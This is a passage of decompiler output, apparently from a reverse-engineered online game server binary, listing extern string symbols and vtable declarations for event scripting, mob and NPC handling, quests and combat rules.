char aScriptmobbre_1[]; // idb extern char aScriptmobbre_3[]; // idb extern char aScriptmobbre_2[]; // idb extern char aScriptmobbre_0[46]; // weak extern char aScriptmobbreed[]; // idb extern char aPineeventsc_75[]; // idb extern char asc_5BE028[]; // idb extern char asc_5BE068[]; // idb extern char asc_5BE0B4[]; // idb extern char aPineeventsc_92[]; // idb extern char asc_5BE138[]; // idb extern char aPineeventsc_51[]; // idb extern char aPineeventscr_3[]; // idb extern char asc_5BE200[]; // idb extern char asc_5BE24C[]; // idb extern char asc_5BE288[]; // idb extern char asc_5BE2D4[]; // idb extern char aPineeventsc_68[]; // idb extern char aAll_0[]; // idb extern char aPlayer[]; // idb extern char asc_5BE364[]; // idb extern char asc_5BE39C[]; // idb extern char aJoker[]; // idb extern char aMage[5]; // weak extern char aArcher[7]; // weak extern char aCleric[7]; // weak extern char aFighter[8]; // weak extern char asc_5BE400[]; // idb extern char aPineeventsc_37[]; // idb extern char asc_5BE478[]; // idb extern char asc_5BE4C4[]; // idb extern char aPineeventsc_91[]; // idb extern char asc_5BE550[]; // idb extern char asc_5BE590[]; // idb extern char asc_5BE5DC[]; // idb extern char aAxiallistobj_2[]; // idb extern char aInvalidFlag_0[]; // idb extern char aMob[]; // idb extern char aBandit[]; // idb extern char aNpc[]; // idb extern char aInvalidObject[]; // idb extern char asc_5BE690[]; // idb extern char asc_5BE6E0[]; // idb extern int (__stdcall *AxialListKQResult::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistkqr_0[]; // idb extern char aAxiallistkqr_1[]; // idb extern char aAxiallistkqr_2[]; // idb extern char asc_5BE7D8[]; // idb extern char asc_5BE828[]; // idb extern char a999999999[]; // idb extern char aPineeventsc_54[]; // idb extern char aPineeventscr_5[]; // idb extern char aNewconditionof[]; // idb extern char aConditionofher[]; // idb extern char aPineeventsc_58[]; // idb extern char asc_5BE980[]; // idb extern char aSysfuncshineis[]; // idb extern char aSysfuncshine_2[]; // idb extern char aSysfuncshine_1[]; // idb extern char aNone_0[]; // idb extern char aPineeventsc_10[]; // idb extern char aSysfuncshine_0[]; // idb extern char asc_5BEAE0[]; // idb extern char aSysfuncshinege[]; // idb extern char aPineeventsc_23[]; // idb extern char aShuffle[]; // idb extern char aDesc[]; // idb extern char aAsc[]; // idb extern char aPineeventsc_39[]; // idb extern char aKqrankinglog[]; // idb extern char aPinescriptmobr[]; // idb extern char aPinescriptmo_0[]; // idb extern char aPinescriptmo_1[]; // idb extern char aPinescriptmo_4[]; // idb extern char aGroupindex[]; // idb extern char aPinescriptmo_3[]; // idb extern char aPinescriptmo_2[]; // idb extern char a_none_[]; // idb extern char aMovieTheater_2[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePrintf::_vftable_)(int tr); // weak extern char aPrintf[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScriptFile::_vftable_)(int tr); // weak extern char aScriptfile[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTimeLimit::_vftable_)(int tr); // weak extern char aTimelimit[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptClear::_vftable_)(int tr); // weak extern char aInterruptcle_0[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptSet::_vftable_)(int tr); // weak extern char aInterruptset_0[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptErase::_vftable_)(int tr); // weak extern char aInterrupterase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitInterrupt::_vftable_)(int tr); // weak extern char aWaitinterrupt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobRegen::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineDoorBuild::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineNPCStand::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Mob::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Door::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2NPC::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineExchange2Mob::_vftable_)(int tr); // weak extern char aExchange2mob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorOpen::_vftable_)(int tr); // weak extern char aDooropen[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorClose::_vftable_)(int tr); // weak extern char aDoorclose[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectVanish::_vftable_)(int tr); // weak extern char aVanish[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegenGroup::_vftable_)(int tr); // weak extern char aRegengroup[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitUserLogin::_vftable_)(int tr); // weak extern char aWaitlogin[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePause::_vftable_)(int tr); // weak extern char aPause[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCChat::_vftable_)(int tr); // weak extern char aNpcchat[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCShout::_vftable_)(int tr); // weak extern char aNpcshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindow::_vftable_)(int tr); // weak extern char aChatwin[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindowRange::_vftable_)(int tr); // weak extern char aChatwinrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSomeoneShout::_vftable_)(int tr); // weak extern char aSomeoneshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSummonMob::_vftable_)(int tr); // weak extern char aSummonmob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineQuestResult::_vftable_)(int tr); // weak extern char aQuestresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReward::_vftable_)(int tr); // weak extern char aReward[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBroadcast::_vftable_)(int tr); // weak extern char aBroadcast[]; // idb extern int (__stdcall *PineEventScriptNode::ShineLinkTo::_vftable_)(int tr); // weak extern char aLinkto_0[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoClickMe::_vftable_)(int tr); // weak extern char aWhoclickme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoKillMe::_vftable_)(int tr); // weak extern char aWhokillme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemDrop::_vftable_)(int tr); // weak extern char aItemdrop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvenSearch::_vftable_)(int tr); // weak extern char aInvensearch[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemCreate::_vftable_)(int tr); // weak extern char aItemcreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemErase::_vftable_)(int tr); // weak extern char aItemerase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindHandle::_vftable_)(int tr); // weak extern char aFindhandle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatSet::_vftable_)(int tr); // weak extern char aAbstateset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatReset::_vftable_)(int tr); // weak extern char aAbstatereset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSuicide::_vftable_)(int tr); // weak extern char aSuicide[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRun::_vftable_)(int tr); // weak extern char aRun[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWalk::_vftable_)(int tr); // weak extern char aWalk[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapLight::_vftable_)(int tr); // weak extern char aMaplight[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapFog::_vftable_)(int tr); // weak extern char aMapfog[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectObject::_vftable_)(int tr); // weak extern char aEffectobj[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectLocate::_vftable_)(int tr); // weak extern char aEffectloc[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAggro::_vftable_)(int tr); // weak extern char aAggro[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobWeaponRate::_vftable_)(int tr); // weak extern char aMobweaponrate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobDetectRange::_vftable_)(int tr); // weak extern char aMobdetectrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHeal::_vftable_)(int tr); // weak extern char aHeal[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAnimate::_vftable_)(int tr); // weak extern char aAnimate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDuplicate::_vftable_)(int tr); // weak extern char aDuplicate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitIdle::_vftable_)(int tr); // weak extern char aWaitidle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDeathCountClear::_vftable_)(int tr); // weak extern char aDeathcountclea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemAttrSet::_vftable_)(int tr); // weak extern char aItemattrset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScinarioCode::_vftable_)(int tr); // weak extern char aScinariocode[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStart::_vftable_)(int tr); // weak extern char aBattlestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStop::_vftable_)(int tr); // weak extern char aBattlestop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSendKQResult::_vftable_)(int tr); // weak extern char aSendquestresul[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvidualReward::_vftable_)(int tr); // weak extern char aInvidualreward[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReturnValue::_vftable_)(int tr); // weak extern char aReturnvalue[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSubLayerShift::_vftable_)(int tr); // weak extern char aSublayershift[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleport::_vftable_)(int tr); // weak extern char aTeleport[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemOwner::_vftable_)(int tr); // weak extern char aItemowner[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobAttribute::_vftable_)(int tr); // weak extern char aMobattr[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectCollect::_vftable_)(int tr); // weak extern char aCollect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_)(int tr); // weak extern char aEndofkq[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfGuildTournament::_vftable_)(int tr); // weak extern char aEndofgt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineGuildTorunamentResult::_vftable_)(int tr); // weak extern char aGtresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeCreate::_vftable_)(int tr); // weak extern char aCostumecreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeTakeOff::_vftable_)(int tr); // weak extern char aCostumetakeoff[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWeddingComplete::_vftable_)(int tr); // weak extern char aWeddingcomplet[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePlayerWalk::_vftable_)(int tr); // weak extern char aPlayerwork[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindPlayer::_vftable_)(int tr); // weak extern char aFindplayer[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleportAll::_vftable_)(int tr); // weak extern char aTeleportall[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBriefEffect::_vftable_)(int tr); // weak extern char aBriefeffect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBanFromArea::_vftable_)(int tr); // weak extern char aBanfromarea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteFlag::_vftable_)(int tr); // weak extern char aRegisteflag[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteGate::_vftable_)(int tr); // weak extern char aRegistegate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDiceGameStart::_vftable_)(int tr); // weak extern char aDicegamestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRevival::_vftable_)(int tr); // weak extern char aRevival[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSpawn::_vftable_)(int tr); // weak extern char aSpawn[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHPSet::_vftable_)(int tr); // weak extern char aHpset[]; // idb extern int (__stdcall *AxialListKQReward::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListKQEnd::_vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); // weak extern int (__stdcall *AxialListLinkTo::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListLinkToByObserver::_vftable_)(int, int, int distancesquar); // weak extern char a___printf[]; // idb extern char asc_5BF788[]; // idb extern int (__stdcall *AxialListMobVanish::_vftable_)(int, #325 *obj, int distancesquar); // weak extern int (__stdcall *AxialListItemErase4All::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListMobStateSet::_vftable_)(AxialListMobStateSet *this, int, #325 *obj, int distancesquar); // weak extern int (__thiscall *AxialListPlayerStateSet::_vftable_)(AxialListPlayerStateSet *this, int, #325 *obj, int distancesquar); // weak extern int (__stdcall *AxialListTeleport::_vftable_[6])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportAnywhere::_vftable_[5])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListCount2::_vftable_[4])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportSplit::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListFindItemOwner::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectCollector::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListGTEnd::_vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); // weak extern int (__stdcall *AxialListBanArea::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRevival::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern char aMovieTheater_0[]; // idb extern char aMovieTheater_6[]; // idb extern int (__stdcall *PineEventScriptNode::RegisterGTPortal::_vftable_)(int tr); // weak extern char aRegistergtpo_0[]; // idb extern int (__stdcall *PineEventScriptNode::SaveLinkto::_vftable_)(int tr); // weak extern char aSavelinkto[]; // idb extern int (__stdcall *PineEventScriptNode::ClearSaveLinkto::_vftable_)(int tr); // weak extern char aClearsavelinkt[]; // idb extern int (__stdcall *PineEventScriptNode::NPCChatNoFacecut::_vftable_)(int tr); // weak extern char aNpcchatnofacec[]; // idb extern int (__stdcall *PineEventScriptNode::ScinarioCodeParty::_vftable_)(int tr); // weak extern MobTacticElement::MobActionArgument aScinariocodepa[]; // idb extern int (__stdcall *PineEventScriptNode::HasAbstate::_vftable_)(int tr); // weak extern MobTacticElement::MobActionArgument aHasabstate[]; // idb extern int (__stdcall *PineEventScriptNode::BroadcastCode::_vftable_)(int tr); // weak extern MobTacticElement::MobActionArgument aBroadcastcode[]; // idb extern int (__stdcall *PineEventScriptNode::GTRegisterNPC::_vftable_)(int tr); // weak extern char aGtregisternpc[14]; // idb extern int (__stdcall *PineEventScriptNode::GTMobRegenKey::_vftable_)(int tr); // weak extern char aGtmobregenkey[14]; // idb extern char aPineeventsc_22[]; // idb extern char aPineeventsc_32[]; // idb extern MobTacticElement::MobActionArgument aStatepermillag[]; // idb extern char aPineeventsc_33[]; // idb extern MobTacticElement::MobActionArgument aUnsetScriptFil[]; // idb extern char aPineeventsc_44[62]; // idb extern MobTacticElement::MobActionArgument aShinescriptfil[]; // idb extern char aPineeventsc_48[]; // idb extern char aPineeventsc_49[61]; // idb extern MobTacticElement::MobActionArgument aShinetimelimit[]; // idb extern char aPineeventsc_50[]; // idb extern char aPineeventsc_78[63]; // idb extern char aPineeventsc_84[57]; // idb extern char aPineeventsc_85[59]; // weak extern MobTacticElement::MobActionArgument aInterruptset[]; // idb extern char aPineeventsc_87[]; // idb extern MobTacticElement::MobActionArgument aShineinterrupt[]; // idb extern char aPineeventsc_90[]; // idb extern MobTacticElement::MobActionArgument aShinewaitinter[]; // idb extern char aPineeventsc_93[]; // idb extern char aPineeventsc_94[]; // idb extern char aPineeventsc_96[]; // idb extern char aPineeventsc_97[]; // idb extern MobTacticElement::MobActionArgument aShinechange2mo[]; // idb extern char asc_5BFEA0[]; // idb extern MobTacticElement::MobActionArgument aShinechange2do[]; // idb extern char asc_5BFEE4[]; // idb extern MobTacticElement::MobActionArgument aShinechange2np[]; // idb extern char asc_5BFF28[]; // idb extern char aPineeventsc_43[67]; // idb extern char aPineeventscr_2[56]; // idb extern char asc_5BFFD8[70]; // weak extern char aPineeventscr_1[63]; // idb extern MobTacticElement::MobActionArgument aShineexchange2[]; // idb extern char asc_5C0078[]; // idb extern char aPineeventscr_7[61]; // idb extern MobTacticElement::MobActionArgument aShinedooropen[]; // idb extern char asc_5C00FC[]; // idb extern MobTacticElement::MobActionArgument aShinedoorclose[]; // idb extern char asc_5C013C[]; // idb extern char aAxiallistmobva[]; // idb extern char aAxiallistmob_0[]; // idb extern char aPineeventsc_52[75]; // idb extern char asc_5C0200[65]; // weak extern MobTacticElement::MobActionArgument aShinevanish[]; // idb extern char asc_5C0250[]; // idb extern char aPineeventsc_60[61]; // idb extern char aPineeventsc_35[61]; // idb extern char asc_5C0300[57]; // weak extern char asc_5C033C[55]; // weak extern MobTacticElement::MobActionArgument aShineregengrou[]; // idb extern char asc_5C0388[]; // idb extern MobTacticElement::MobActionArgument aShinewaituserl[]; // idb extern char asc_5C03CC[]; // idb extern MobTacticElement::MobActionArgument aError_0[]; // idb extern char asc_5C040C[55]; // idb extern MobTacticElement::MobActionArgument aMilliseconds[]; // idb extern MobTacticElement::MobActionArgument aSeconds[]; // idb extern char aMinute[8]; // weak extern char aHours[7]; // weak extern char asc_5C0470[50]; // idb extern MobTacticElement::MobActionArgument aShinepause[]; // idb extern char asc_5C04B4[]; // idb extern char aPineeventsc_24[54]; // idb extern MobTacticElement::MobActionArgument aShinenpcchat[]; // idb extern char asc_5C0528[]; // idb extern char aPineeventsc_47[55]; // idb extern MobTacticElement::MobActionArgument aShinenpcshout[]; // idb extern char asc_5C05A0[]; // idb extern char aPineeventsc_69[52]; // idb extern char aPineeventsc_61[52]; // idb extern MobTacticElement::MobActionArgument aShinesomeonesh[]; // idb extern char asc_5C0648[]; // idb extern char aPineeventsc_74[57]; // idb extern char aPineeventsc_71[54]; // idb extern MobTacticElement::MobActionArgument aShinesummonmob[]; // idb extern char asc_5C0700[]; // idb extern MobTacticElement::MobActionArgument aShinequestresu[]; // idb extern char asc_5C0744[]; // idb extern char aPineeventscr_8[60]; // idb extern MobTacticElement::MobActionArgument aShinereward[]; // idb extern char asc_5C07BC[]; // idb extern char aPineeventsc_63[69]; // idb extern char aPineeventscr_4[58]; // idb extern MobTacticElement::MobActionArgument aShinebroadcast[]; // idb extern char asc_5C087C[]; // idb extern char aPineeventsc_80[54]; // idb extern char aPineeventsc_70[54]; // idb extern char aPineeventsc_42[57]; // idb extern char aPineeventsc_38[57]; // idb extern MobTacticElement::MobActionArgument aShinelinkto[]; // idb extern char asc_5C09A0[]; // idb extern char aPineeventsc_82[56]; // idb extern char asc_5C0A04[58]; // weak extern char aPineeventsc_81[61]; // idb extern char aPineeventsc_65[54]; // idb extern char aPineeventsc_16[59]; // idb extern MobTacticElement::MobActionArgument aShineitemdrop[]; // idb extern char asc_5C0B04[]; // idb extern char aPineeventsc_89[55]; // idb extern char aPineeventsc_88[58]; // idb extern MobTacticElement::MobActionArgument aShinewhoclickm[]; // idb extern char asc_5C0BB4[]; // idb extern char aAxiallistiteme[]; // idb extern char aPineeventsc_79[54]; // idb extern char aPineeventsc_17[55]; // idb extern MobTacticElement::MobActionArgument aShineitemerase[]; // idb extern char asc_5C0C8C[]; // idb extern char aPineeventsc_95[56]; // idb extern MobTacticElement::MobActionArgument aShineitemcreat[]; // idb extern char asc_5C0D08[]; // idb extern char asc_5C0D38[62]; // idb extern char asc_5C0D78[57]; // idb extern char asc_5C0DB4[59]; // idb extern char aPineeventsc_26[59]; // idb extern MobTacticElement::MobActionArgument aShineinvensear[]; // idb extern char asc_5C0E40[]; // idb extern char asc_5C0E70[56]; // idb extern char aPineeventsc_72[55]; // idb extern MobTacticElement::MobActionArgument aShinefindhandl[]; // idb extern char asc_5C0EF0[]; // idb extern char aPineeventsc_15[69]; // idb extern char aPineeventsc_11[56]; // idb extern MobTacticElement::MobActionArgument aShineabstatset[]; // idb extern char asc_5C0FB0[]; // idb extern char aPineeventsc_36[58]; // idb extern MobTacticElement::MobActionArgument aShineabstatres[]; // idb extern char asc_5C1030[]; // idb extern char aAxiallistmob_1[]; // idb extern char aPineeventscr_9[60]; // idb extern MobTacticElement::MobActionArgument aShinesuicide[]; // idb extern char asc_5C1100[]; // idb extern char aPineeventsc_62[49]; // idb extern char aPineeventsc_27[49]; // idb extern MobTacticElement::MobActionArgument aShinerun[]; // idb extern char asc_5C11A0[]; // idb extern MobTacticElement::MobActionArgument aShinewalk[]; // idb extern char asc_5C11D4[]; // idb extern char aPineeventsc_20[58]; // idb extern MobTacticElement::MobActionArgument aShinemaplight[]; // idb extern char asc_5C1248[]; // idb extern char aPineeventsc_40[56]; // idb extern MobTacticElement::MobActionArgument aShinemapfog[]; // idb extern char asc_5C12B8[]; // idb extern char aPineeventsc_46[66]; // idb extern char aPineeventsc_45[60]; // idb extern char asc_5C1368[60]; // weak extern MobTacticElement::MobActionArgument aShineeffectobj[]; // idb extern char asc_5C13B8[]; // idb extern char aPineeventsc_66[66]; // idb extern char aPineeventsc_64[59]; // idb extern MobTacticElement::MobActionArgument aShineeffectloc[]; // idb extern char asc_5C147C[]; // idb extern char aPineeventsc_53[52]; // idb extern char asc_5C14E0[53]; // weak extern MobTacticElement::MobActionArgument aShineaggro[]; // idb extern char asc_5C1524[]; // idb extern MobTacticElement::MobActionArgument aShinemobdetect[]; // idb extern char asc_5C1564[]; // idb extern MobTacticElement::MobActionArgument aHp[]; // idb extern MobTacticElement::MobActionArgument aShineheal[]; // idb extern char asc_5C15AC[]; // idb extern MobTacticElement::MobActionArgument aShineanimate[]; // idb extern char asc_5C15E4[]; // idb extern MobTacticElement::MobActionArgument aShineduplicate[]; // idb extern char asc_5C1620[]; // idb extern MobTacticElement::MobActionArgument aShinewaitidle[]; // idb extern char asc_5C1660[]; // idb extern MobTacticElement::MobActionArgument aShinedeathcoun[]; // idb extern char asc_5C16A4[]; // idb extern char aPineeventsc_25[62]; // idb extern char aPineeventsc_21[57]; // idb extern MobTacticElement::MobActionArgument aShineitemattrs[]; // idb extern char asc_5C1768[]; // idb extern char aFail2[7]; // idb extern char aFail1[7]; // idb extern char aPineeventsc_12[58]; // idb extern char aFail0[7]; // idb extern char str[19]; // idb extern MobTacticElement::MobActionArgument aShinescinarioc[]; // idb extern char asc_5C1818[]; // idb extern char aPineeventsc_76[62]; // idb extern char aPineeventsc_73[57]; // idb extern char aPineeventsc_57[59]; // idb extern char aPineeventsc_56[64]; // idb extern MobTacticElement::MobActionArgument aShinebattlesta[]; // idb extern char asc_5C1954[]; // idb extern char aPineeventsc_18[61]; // idb extern MobTacticElement::MobActionArgument stru_5C19C4; // idb extern char asc_5C1D04[]; // idb extern char asc_5C1D3C[]; // idb extern char asc_5C1D6C[]; // idb extern MobTacticElement::MobActionArgument aShinechatwindo[]; // idb extern char asc_5C1DB8[]; // idb extern MobTacticElement::MobActionArgument aShinechatwin_0[]; // idb extern char asc_5C1E00[]; // idb extern MobTacticElement::MobActionArgument aShinemobattrib[]; // idb extern char asc_5C1E4C[]; // idb extern char aAxiallistobjec[]; // idb extern char aAxiallistobj_4[]; // idb extern char aPineeventsc_14[75]; // idb extern MobTacticElement::MobActionArgument aShineendofking[]; // idb extern char asc_5C1F34[]; // idb extern char asc_5C1F6C[]; // idb extern MobTacticElement::MobActionArgument aShineguildtoru[]; // idb extern char asc_5C1FC0[]; // idb extern char aPineeventscr_0[59]; // idb extern char asc_5C2038[59]; // weak extern MobTacticElement::MobActionArgument aShinecostumecr[]; // idb extern char asc_5C2088[]; // idb extern char aPineeventsc_30[60]; // idb extern char aPineeventsc_41[60]; // idb extern MobTacticElement::MobActionArgument aShinecostumeta[]; // idb extern char asc_5C2148[]; // idb extern char aPineeventsc_31[69]; // idb extern MobTacticElement::MobActionArgument aShineweddingco[]; // idb extern char asc_5C21E0[]; // idb extern char asc_5C2214[]; // idb extern char asc_5C2244[]; // idb extern char asc_5C227C[]; // idb extern char aAxiallistbanar[]; // idb extern char aAxiallistreviv[]; // idb extern char asc_5C22E4[]; // idb extern char aPineeventsc_67[54]; // idb extern char aPineeventsc_28[57]; // idb extern MobTacticElement::MobActionArgument aShinewhokillme[]; // idb extern char asc_5C2394[]; // idb extern char aClearsavelin_0[]; // idb extern char aPineeventsc_34[63]; // idb extern char asc_5C2768[]; // idb extern char asc_5C2794[]; // idb extern MobTacticElement::MobActionArgument aInterruptclear[]; // idb extern char asc_5C27D8[]; // idb extern char asc_5C2810[]; // idb extern char asc_5C2854[]; // idb extern char aPineeventscrip[59]; // idb extern MobTacticElement::MobActionArgument aShinemobregen[]; // idb extern char asc_5C28D8[]; // idb extern char aPineeventscr_6[60]; // idb extern MobTacticElement::MobActionArgument aShinedoorbuild[]; // idb extern char asc_5C2954[]; // idb extern char aPineeventsc_19[59]; // idb extern MobTacticElement::MobActionArgument stru_5C29C0; // idb extern char pkErrorMsg[]; // idb extern char aGtregisternpcS[]; // idb extern char aRegistergtport[]; // idb extern char aSavelinktoSa_s[]; // idb extern char asc_5C2D48[]; // idb extern char aPineeventsc_55[]; // idb extern char aPineeventsc_13[]; // idb extern char aPineeventsc_86[]; // idb extern char aShineregestegu[]; // idb extern char aPineeventsc_98[]; // idb extern char aPineeventsc_59[]; // idb extern char aPineeventsc_77[]; // idb extern MobTacticElement::MobActionArgument stru_5C2F64; // idb extern char asc_5C32A4[]; // idb extern char aGamelogsessi_4[]; // idb extern char aGamelogsessi_3[]; // idb extern char asc_5C3308[]; // idb extern char aWorldmanage_14[]; // idb extern char aClientsessionZ[]; // idb extern char aClientsessio_0[]; // idb extern char aRecallpoint[]; // idb extern char aRecallpointtab[]; // idb extern char aErrorInReadRec[]; // idb extern char filename[]; // idb extern char a__9dataShin_51[]; // idb extern char aShineobject_69[]; // idb extern char aShineobject_76[]; // idb extern char aGamedbsessi_53[]; // idb extern char asc_5C3510[]; // idb extern char asc_5C3558[]; // idb extern int (__stdcall *EngNormAtt::_vftable_[4])(int, int, int ef); // weak extern int (__stdcall *EngSklAtt::_vftable_[4])(int, int, int ef); // weak extern char aRtn[]; // idb extern char aAbrate[]; // idb extern char aTotalac[]; // idb extern char aTotalcon[]; // idb extern char aRulesofenga_18[]; // idb extern char aRst[]; // idb extern char aItemattack[]; // idb extern char aMasteryrate[]; // idb extern char aMasteryplus[]; // idb extern char aWpt[]; // idb extern char aItem_0[]; // idb extern char aPurechar[]; // idb extern char aAbstate_0[]; // idb extern char aUpgrade[]; // idb extern char aStrtotal[]; // idb extern char aRulesofenga_21[]; // idb extern char aRulesofenga_20[]; // idb extern double (__stdcall *RulesOfEngagement::_vftable_[4])(int argument); // weak extern char asc_5C37AC[]; // idb extern char aAfterFreestatb[]; // idb extern char aShieldFail[]; // idb extern char aShieldSuccess[]; // idb extern char aRulesofengag_3[]; // idb extern char asc_5C380C[]; // idb extern double (__stdcall *RulesOfEngagementNormalPY::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementNormalMA::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementPhisycalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementMagicalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysHit::_vftable_[4])(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysCritical::_vftable_[2])(int argument); // weak extern double (__stdcall *RuleOfEngagementHealAttack::_vftable_[4])(int argument); // weak extern char aEngsklattEna_a[]; // idb extern char aDamage[]; // idb extern char aAttackpowerLev[]; // idb extern char aLevelAtt[]; // idb extern char aDefendpower[]; // idb extern char aAttackpower[]; // idb extern char aRulesofenga_23[]; // idb extern char aRulesofengag_7[]; // idb extern char aRulesofengag_2[]; // idb extern char a850[]; // idb extern char aRulesofenga_11[]; // idb extern char aRulesofenga_27[]; // idb extern char aRulesofenga_14[]; // idb extern char aRulesofengag_0[]; // idb extern char aRulesofenga_16[]; // idb extern char aRulesofenga_12[]; // idb extern char aRulesofenga_19[]; // idb extern char aRulesofengag_8[]; // idb extern char aRulesofenga_15[]; // idb extern char aRulesofenga_24[]; // idb extern char aAsSkill[]; // idb extern char aAsNormal[12]; // weak extern char asc_5C3C20[]; // idb extern char asc_5C3C24[]; // idb extern char aRulesofenga_17[]; // idb extern char aRulesofengag_5[]; // idb extern char aRulesofenga_22[]; // idb extern char aRulesofengag_6[]; // idb extern char aRulesofengag_1[]; // idb extern char aRulesofenga_26[]; // idb extern char aRulesofenga_25[]; // idb extern char aRulesofengag_4[]; // idb extern char aRulesofengag_9[]; // idb extern char aRulesofengagem[]; // idb extern char 